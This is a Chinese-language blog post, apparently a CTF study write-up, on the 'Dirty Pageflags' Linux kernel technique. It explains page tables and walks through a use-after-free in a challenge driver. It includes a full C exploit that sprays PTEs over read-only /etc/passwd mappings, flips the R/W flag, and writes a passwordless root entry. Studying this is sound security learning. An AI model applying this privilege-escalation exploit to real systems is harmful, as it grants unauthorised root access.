Dirty Pageflags Kernel pwn

Dirty Pageflags

今天学习了一种在Linux内核中对PTE的exploitation技术,名为Dirty Pageflags

参考这位日本pwn大佬:

https://ptr-yudai.hatenablog.com/entry/2025/09/14/180326

前置知识

PTEPage Table Entry(页表项)

在OS的学习中,我们已经知道

它是虚拟内存管理中最核心的数据结构之一,配合着MMU,用于将进程的虚拟地址转换为物理地址,并控制对该页面的访问权限状态

每个页表项(通常对应4KB2MB大小的内存页)记录了虚拟页被映射到了哪个物理页框(物理页帧号,PFN)

在x86-64架构下,一个PTE的结构如下所示:

如图

其中52-62位是留给内核软件用的自由位

第63位见下面

0-51位便是上面所说的PFN(物理页帧号)

而因为一个物理页的页大小是4KB,即4096字节,所以其低12位地址为0,只需存储高40位地址即可

故0-11位作为标志位使用

1
物理地址 = (PFN << 12) + 页内偏移

我们重点关注以下标志位(Pageflags):

  • 0 位 -> P(present) 用于记录页面是否在物理内存中,如果为1,则存在,如果为0,则不存在,访问该页会触发缺页异常(page fault)

  • 1 位 -> R/W(read/write) 用于记录是否可写,0代表只读,1则代表可读写

  • 2 位 -> U/S(user/supervisor) 用于记录允许访问的权限级别,0代表内核态才允许访问(ring 0-2),1则用户态亦可访问(ring 3)

  • 6 位 -> D(dirty) 是否被写入过,由CPU设置,内核用于决定换出时是否需要写回磁盘,即脏页

  • 63 位 -> XD(execute disable) cpu从该页所取的指令是否允许执行,0为可执行,1则不可执行,我们也可以叫它NX😄

试想一下

如果PTE中一个虚拟地址对应记录一个物理地址,而PTE还是要放在内存的

一个进程的页表本身就会大得无法接受

因此,Linux采用分层的多级页表来按需分配,以节省内存

我们重点关注x86-64架构下的四级页表结构

如图

如图所示

对于一个64位的虚拟地址

其低48位拆分为多个索引字段

PGD索引(9 bits) -> PUD索引(9 bits) -> PMD索引(9 bits) -> PTE索引(9 bits) -> 页内偏移(12 bits)

具体:

如图

对于一个虚拟地址

CPUMMU查找过程如下:

CR3寄存器获得PGD页的物理地址

取虚拟地址的bits 47-39作为PGD索引,找到对应的PUD页表项(如果该PGD项为null,则触发page fault)

bits 38-30作为PUD索引,找到PMD页表项

bits 29-21作为PMD索引,找到PTE页表项

bits 20-12作为PTE索引,找到物理页框

ps:PTE中包含PFN与标志位,上面已经介绍过了

最后bits 11-0作为页内偏移,得到最终的物理地址

同时,x86-64中每一级页表都是4KB,而一个entry是8字节,所以每一级有512

最后,虚拟地址的高16位作用是什么呢?

它们的内容必须与第47位(虚拟地址的最高有效位)完全相同

这种形式的地址被称为规范地址(Canonical Address)

这本质上是一种符号扩展(Sign Extension),将地址空间一分为二

当第47位为0时,高16位也全为0,地址落在用户空间(0x0000_0000_0000_0000 ~ 0x0000_7FFF_FFFF_FFFF)

当第47位为1时,高16位也全为1,地址落在内核空间(0xFFFF_8000_0000_0000 ~ 0xFFFF_FFFF_FFFF_FFFF)

CPU的MMU只处理规范地址

如果软件试图访问非规范地址,则会直接触发#GP异常(General Protection Fault)

这样设计的关键考量是为未来的扩展留出空间

如果将来需要更大的地址空间,硬件可以增加页表层级(比如到57位),那些高16位目前是全1或全0的规范地址,在未来依然会是有效的规范地址,保证了向前兼容性

ASLR KASLR PIE 原理

/proc/sys/kernel/randomize_va_space

待补充…

内核保护:

SMEP SMAP KPTI KASLR

待补充…

exploitation

了解了前置知识

我们来看看具体的exploitation方法

Dirty Pagetable

名字似乎很像

但完全不一样

我还没学

故引用原文…

1
2
3
Dirty Pagetable is a powerful exploitation technique that targets heap vulnerabilities in the Linux kernel.

The core idea is to overlap a freed object with a page table entry (PTE). By writing to the freed object, an attacker can directly manipulate the page table. Since each PTE maps to a physical memory address, this provides extremely strong control over physical memory. As a result, Dirty Pagetable can bypass critical security mechanisms such as KASLR, SMAP, and SMEP.

Dirty Pageflags

不同于Dirty Pagetable操纵整个PTE以达成任意物理地址读写原语

Dirty Pageflags关注操纵PTE的标志位以完成利用并最终提权

那么哪个标志位有助于我们的exploitation呢?

U/S?

XD?

然而并不是

它们虽然涉及访问与执行权限控制,但却不能真正帮助我们exploitation

考虑一下R/W呢?

想象一个只读文件

比如(/etc/passwd)

我们将其映射到内存中

如图

我们操纵其PTE的R/W标志位

利用UAF等漏洞

将0置为1

只读变为可读写

随后我们向/etc/passwd中写入恶意内容

如图

虽然此时修改只发生在内存中,还没有被写回到文件

但是,CPU会自动把PTE中的D(dirty)位设置为1,表示这个页面已经被修改过

最后,当内存区域被解除映射(unmap)时,Linux内核看到该页的D位被置1,就会认为这个页面必须被回写到它对应的后备文件

于是原本应该只读的文件(/etc/passwd)就被我们所写的恶意内容所覆盖了

root到手

example

题目来自2025 Black Hat MEA资格赛的pwn kinc

源码分析

下面是vuln.c

不用逆向,真不错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("A vulnerable driver for a CTF");

#define CMD_ALLOC 0x0268
#define CMD_INC 0x0298
#define CMD_SEL 0x01c1
#define CMD_DELETE 0x0831

#define MAX_OBJ_NUM 0x100
#define PAD_SIZE 0x7f8

struct obj {
char buf[PAD_SIZE];
size_t cnt;
};

static struct kmem_cache *obj_cachep;
static DEFINE_MUTEX(module_lock);

unsigned char inc_used = 0;
struct obj *selected = 0;
struct obj *obj_array[MAX_OBJ_NUM] = { NULL };

static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
long ret = -EINVAL;
mutex_lock(&module_lock);

if (arg >= MAX_OBJ_NUM)
goto out;

switch (cmd) {
case CMD_ALLOC:
obj_array[arg] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
ret = 0;
break;

case CMD_SEL:
if (!obj_array[arg])
goto out;
selected = obj_array[arg];
ret = 0;
break;

case CMD_INC:
if (inc_used++ > 1)
goto out;
selected->cnt++;
ret = 0;
break;

case CMD_DELETE:
if (!obj_array[arg])
goto out;
kmem_cache_free(obj_cachep, obj_array[arg]);
obj_array[arg] = NULL;
ret = 0;
break;
}

out:
mutex_unlock(&module_lock);
return ret;
}

static struct file_operations module_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = module_ioctl,
};

static struct miscdevice vuln_dev = {
.minor = MISC_DYNAMIC_MINOR,
.name = "vuln",
.fops = &module_fops
};

static int __init module_initialize(void) {
if (misc_register(&vuln_dev) != 0)
return -EBUSY;

obj_cachep = KMEM_CACHE(obj, 0);
if (!obj_cachep) {
misc_deregister(&vuln_dev);
return -EBUSY;
}

return 0;
}

static void __exit module_cleanup(void) {
misc_deregister(&vuln_dev);
mutex_destroy(&module_lock);
}

module_init(module_initialize);
module_exit(module_cleanup);

内核模块vuln.ko提供了以下ioctl命令:

CMD_ALLOC -> 分配一个struct obj(大小为0x800字节),存入obj_array[index]

CMD_SEL -> 将selected指针指向obj_array[index]

CMD_INC -> 执行selected->cnt++(但限制最多连续两次)

CMD_DELETE -> 释放obj_array[index]并清空数组项,但不清除selected

漏洞点很明显

释放对象后,selected仍指向已释放内存

通过两次CMD_INC,可以修改这块释放内存中的cnt字段(偏移0x7f8处,8字节)

UAF存在

累了

休息

明天再写

晚安


ok

我回来了

即使存在UAF

但只有两次的CMD_INC使用机会(+1 +1 没了)

该如何完成利用呢?

想必你已经想到了

我们将只读的/etc/passwd映射到内存中

其在PTE表项中的低2位分别是标志位P和R/W

表现为 0(只读) 1(present)

我们利用UAF

执行两次CMD_INC

标志位变为

1(可读可写!) 1(present 保证存在)

随后写入恶意内容,例如,将root的密码设为空…

便能完成利用并提权

但是有一个问题

如何保证我们能控制UAF的object恰好对应/etc/passwd的PTE呢?

那便要引出spray技术了

spray

从栈的nop sled到堆的heap spray(堆喷射)

其都是spray技术的思想

spray(喷射)是一种用来提高漏洞利用成功率的弹药填充地貌改造技术

它本身不直接制造漏洞

而是创造一个对攻击者有利的内存环境

让后续的漏洞利用(如UAF,堆溢出)更容易且稳定地命中目标

具体exploitation

我们先定义下列函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
char* PTI_TO_VIRT(size_t pgd, size_t pud, size_t pmd, size_t pte) {
assert (pgd < 0x200 && pud < 0x200 && pmd < 0x200 && pte < 0x200);
return (void*)((pgd << 39) + (pud << 30) + (pmd << 21) + (pte << 12));
}
void* mmap_by_pti(size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0);
assert (p == q);
return p;
}
void* mmap_file_by_pti(int fd, size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ, MAP_SHARED|MAP_FIXED, fd, 0);
assert (p == q);
return p;
}

PTI_TO_VIRT函数接受PGD,PUD,PMD,PTE四个索引值,并将它们拼接成一个完整的虚拟地址

公式:

1
虚拟地址 = (pgd << 39) | (pud << 30) | (pmd << 21) | (pte << 12)

ps:前置知识已总结

低12位默认为0,因此函数返回的是每个页表条目对应的页起始地址

这样构造出的虚拟地址在用户态是合法的,可用于后面的mmap操作,从而实现精确控制页表布局

mmap_file_by_pti则将一个文件以只读共享的方式,强制映射到由页表索引(pgd, pud, pmd, pte)计算出的精确虚拟地址上

我们选择的文件便是/etc/passwd

接下来

我们先利用ioctl的CMD_ALLOC分配0x100,即256个obj,每个obj的大小为0x800字节,即2KB

一共是512KB

1
2
3
4
5
6
static struct kmem_cache *obj_cachep;

case CMD_ALLOC:
obj_array[arg] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
ret = 0;
break;

这些obj并非直接从伙伴系统(buddy system)分配,而是来自内核为该模块预先创建的专用slab 缓存(obj_cachep)

slab分配器负责从伙伴系统申请物理页(4KB),然后将每个页切割成若干个大小相同的对象

对于2KB的obj,每个物理页可以容纳2个对象(objs_per_slab = 2)

因此,这256个obj一共占用128个物理页

接下来调用CMD_SEL选中任意一个obj

随后我们开始PTE spraying

在释放所有obj对象之前,我们先将目标文件/etc/passwd的大量只读映射pin在虚拟地址空间中

并迫使内核为这些映射分配好各级页表

这样,当对象释放后,新分配的PTE表就能精准占据obj原本占用的物理页

形成精准的UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
int etcfd = open("/etc/passwd", O_RDONLY);

#define ENTRY_PER_TABLE 512
#define SPRAY_NUM 0x1800
#define DELTA 0x7f8

for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 0; j < ENTRY_PER_TABLE; j++) {
mmap_file_by_pti(etcfd, 1, i, j, DELTA / 8);
mmap_file_by_pti(etcfd, 1, i, j, (0x800 + DELTA) / 8);
}
volatile char c = *PTI_TO_VIRT(1, i, 0, DELTA / 8); // Allocate PGD and PMD
}

其中mmap_file_by_pti使用MAP_FIXED/etc/passwd的第一个页面(偏移0)强制映射到虚拟地址PTI_TO_VIRT(1, i, j, pte_idx)

这里pte_idx分别为DELTA/8(0x800+DELTA)/8

即为255和511

也就是说,每个PMD条目(即每张PTE表)中,我们只映射第255号和第511号PTE,其余PTE均保持空缺

为什么呢?

后面你就懂了

内外两层循环

PGD索引固定为1

外层i循环遍历PUD索引(12个),内层j循环遍历PMD索引(512个)

然而此时,这些mmap调用仅仅在进程的VMA(虚拟内存区域)中创建了映射记录,页表(PGD,PUD,PMD,PTE)尚未实际分配

内核采用惰性分配策略,直到第一次访问该地址时,才会通过缺页异常(page fault)建立真正的页表

因此

当执行volatile char c = *PTI_TO_VIRT(1, i, 0, DELTA / 8)

PGD索引依旧固定为1,PMD和PTE索引则设置为0和255

遍历PUD索引0~11

此时触发了缺页异常,内核才完成了从PGD到PTE的各级页表分配,并建立了到文件缓存物理页(/etc/passwd)的映射

再引用一句原文:

1
Unlike Dirty Pagetable, here we are repeatedly mapping the same file. As a result, only a single physical memory page is allocated for the file contents. This means Dirty Pageflags consumes far less memory compared to Dirty Pagetable, which I think is another advantage.

我们总共创建了12 × 512 × 2 = 12288个虚拟内存页(每个4KB)

但它们实际上都指向同一个物理页

/etc/passwd的文件缓存页

所以从物理内存角度看,文件内容实际只占用1个物理页

接下来我们便可以调用CMD_DELETE释放所有obj

它们会被归还给buddy system

slab缓存释放对象时,并不会立即将整页返回伙伴系统,而是保留在per-CPUpartial列表中,以便快速重用

不过,我们调用CMD_DELETE释放了所有对象

slab缓存中一个页上的所有对象都空闲后,该页会被标记为空闲,并最终归还给伙伴系统

然而,我们现在仍然持有其中一个obj的悬垂指针(selected)

随后

1
2
3
4
5
6
7
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
volatile char c;
c = *PTI_TO_VIRT(1, i, j, DELTA / 8);
c = *PTI_TO_VIRT(1, i, j, (0x800 + DELTA) / 8);
}
}

无论是四级页表中的哪一个,每个页表都是4KB,一共有512个索引

注意,内层循环的j从索引1开始,而不是0

PGD页表索引固定为1,早已分配,指向PUD

PUD中我们分配了12个索引,每个索引对应一个PMD,其中又各有512个索引

不过由于先前的volatile char c = *PTI_TO_VIRT(1, i, 0, DELTA / 8),PUD到PMD的索引也已建立

唯一缺失的便是PMD到PTE的索引

因此执行c = *PTI_TO_VIRT(1, i, j, DELTA / 8)c = *PTI_TO_VIRT(1, i, j, (0x800 + DELTA) / 8)

内核需要从伙伴系统中分配一个4KB的物理页作为新的PTE表以建立索引

此时,伙伴系统中最近被释放的物理页正是之前存放obj的那些页面(128个4KB页,共512KB)

由于伙伴系统优先分配最近释放的内存,新分配的PTE表极大概率会占用原来obj对象所占用的物理页

一共触发了12 × 511 × 2page fault

但实际只分配了12 × 511张PTE表

因为每张表被两个不同的PTE索引共享

12 × 511个物理页远大于释放obj获得的128个物理页

那么

这些PTE表中就必然有一个覆盖了之前obj的内存区域

这便是spray技术的魅力

selected仍然指向其中的一个物理页

这个物理页现在已经被内核重新分配为一张PTE表

因此,selected指针实际指向了一张PTE表

通过selected->cnt++我们就能修改这张PTE表中的某个8字节条目

由于cntobj结构中的偏移为0x7f8,而PTE表是由512个8字节的PTE组成的数组,偏移0x7f8恰好对应第0x7f8 / 8 = 0xff(255)个PTE

同理

也可能是第511个PTE

这便是我们先前映射文件时选择的PTE索引为255和511的原因

现在

我们执行两次CMD_INC

其中的一个PTE的标志位由0 1变为1 1

这个特定的PTE建立的映射中/etc/passwd便变为可读可写

最后,我们循环遍历所有喷射的地址,尝试向每个地址写入我们准备好的新passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 101 --> 111
int neko = open("/tmp/neko", O_RDWR | O_CREAT, 0666);
write(neko, "root::0:0:root:/root:/bin/sh\n", 29);

for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
ssize_t s;
lseek(neko, 0, SEEK_SET);
s = read(neko, PTI_TO_VIRT(1, i, j, DELTA / 8), 29);
if (s > 0) printf("wow: %ld, %ld\n", i, j);

lseek(neko, 0, SEEK_SET);
read(neko, PTI_TO_VIRT(1, i, j, (0x800 + DELTA) / 8), 29);
if (s > 0) printf("wow: %ld, %ld (2)\n", i, j);
}
}

最终,必定会有一个地址被成功修改

当程序退出且所有文件描述符被关闭时,被修改的文件会设置其Dirty标志

因此,Linux内核会将修改后的内容写回磁盘,从而有效地覆盖原本是只读/etc/passwd文件

这里为什么用read系统调用呢?

依旧引用一下原文

1
In some cases like use-after-free, however, we don't know which entry is modified. Writing to an unmodified entry will result in SIGSEGV because it does not have R/W flag set. To resolve this issue, we can use syscall to write to the memory because simply return -1 when it tried to write a read-only mapping, instead of crashing.

总结与exp

最后,给出完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define CMD_ALLOC 0x0268
#define CMD_INC 0x0298
#define CMD_SEL 0x01c1
#define CMD_DELETE 0x0831

static void fatal(const char *s) {
perror(s);
exit(1);
}

void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(cpu_set_t), &set))
fatal("sched_setaffinity");
}

int fd;

int module_alloc (size_t index) { return ioctl(fd, CMD_ALLOC , index); }
int module_inc() { return ioctl(fd, CMD_INC, 0); }
int module_sel(size_t index) { return ioctl(fd, CMD_SEL, index); }
int module_delete(size_t index) { return ioctl(fd, CMD_DELETE, index); }

#define MAX_OBJ_NUM 0x100
#define OBJ_SIZE 0x800

#define OBJS_PER_SLAB 8 // /sys/kernel/slab/obj/objs_per_slab
#define CPU_PARTIAL 24 // /sys/kernel/slab/obj/cpu_partial

char* PTI_TO_VIRT(size_t pgd, size_t pud, size_t pmd, size_t pte) {
assert (pgd < 0x200 && pud < 0x200 && pmd < 0x200 && pte < 0x200);
return (void*)((pgd << 39) + (pud << 30) + (pmd << 21) + (pte << 12));
}

void* mmap_by_pti(size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0);
assert (p == q);
return p;
}

void* mmap_file_by_pti(int fd, size_t pgd, size_t pud, size_t pmd, size_t pte) {
void *p = (void*)PTI_TO_VIRT(pgd, pud, pmd, pte);
void *q = mmap(p, 0x1000, PROT_READ, MAP_SHARED|MAP_FIXED, fd, 0);
assert (p == q);
return p;
}

#define ENTRY_PER_TABLE 512
#define SPRAY_NUM 0x1800
#define DELTA 0x7f8

int main() {
int etcfd = open("/etc/passwd", O_RDONLY);
if (etcfd == -1) fatal("/etc/passwd");

fd = open("/dev/vuln", O_RDWR);
if (fd == -1) fatal("/dev/vuln");

pin_cpu(0);

puts("[+] Spraying objects...");
for (size_t i = 0; i < MAX_OBJ_NUM; i++)
if (module_alloc(i % MAX_OBJ_NUM) != 0)
fatal("module_alloc");

if (module_sel(50) != 0)
fatal("module_sel");

puts("[+] Preparing pages...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 0; j < ENTRY_PER_TABLE; j++) {
mmap_file_by_pti(etcfd, 1, i, j, DELTA / 8);
mmap_file_by_pti(etcfd, 1, i, j, (0x800 + DELTA) / 8);
}
volatile char c = *PTI_TO_VIRT(1, i, 0, DELTA / 8);
}

puts("[+] Returning page to buddy allocator");
for (size_t i = 0; i < MAX_OBJ_NUM; i++)
if (module_delete(i) != 0)
fatal("module_delete");

puts("[+] Spraying PTEs...");
for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
volatile char c;
c = *PTI_TO_VIRT(1, i, j, DELTA / 8);
c = *PTI_TO_VIRT(1, i, j, (0x800 + DELTA) / 8);
}
}

puts("Go");
if (module_inc() != 0)
fatal("module_inc");
if (module_inc() != 0)
fatal("module_inc");

// 101 --> 111
int neko = open("/tmp/neko", O_RDWR | O_CREAT, 0666);
write(neko, "root::0:0:root:/root:/bin/sh\n", 29);

for (size_t i = 0; i < SPRAY_NUM / ENTRY_PER_TABLE; i++) {
for (size_t j = 1; j < ENTRY_PER_TABLE; j++) {
ssize_t s;
lseek(neko, 0, SEEK_SET);
s = read(neko, PTI_TO_VIRT(1, i, j, DELTA / 8), 29);
if (s > 0) printf("wow: %ld, %ld\n", i, j);

lseek(neko, 0, SEEK_SET);
read(neko, PTI_TO_VIRT(1, i, j, (0x800 + DELTA) / 8), 29);
if (s > 0) printf("wow: %ld, %ld (2)\n", i, j);
}
}

puts("What's up?");
return 0;
}

不同的是,这次给的rootfs.zip解压后是rootfs.ext4

下面是run脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/sh
qemu-img create -f qcow2 -b "$(realpath rootfs.ext4)" -F raw /tmp/overlay.qcow2 >/dev/null
cp flag.txt /tmp/flag.txt && chmod 666 /tmp/flag.txt

qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-drive file=/tmp/overlay.qcow2,format=qcow2,index=0 \
-drive file=/tmp/flag.txt,format=raw,index=1 \
-append "root=/dev/sda console=ttyS0 loglevel=3 oops=panic panic=-1 slab_nomerge kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-monitor /dev/null

rm -f /tmp/flag.txt
rm -f /tmp/overlay.qcow2

flag.txt实际上在/dev/sdb

使用下述方法挂载exp

1
2
3
4
sudo mkdir mnt
sudo mount rootfs.ext4 mnt
sudo cp exp mnt
sudo umount mnt

最后

get root

如图

历时2天

终于完成了本篇blog

收获还是颇丰的吧…

感谢阅读…


Dirty Pageflags Kernel pwn
https://roxy5201314.github.io/2026/04/06/Dirty-Pageflags-Kernel-pwn/
作者
roxy
发布于
2026年4月6日
更新于
2026年4月16日
许可协议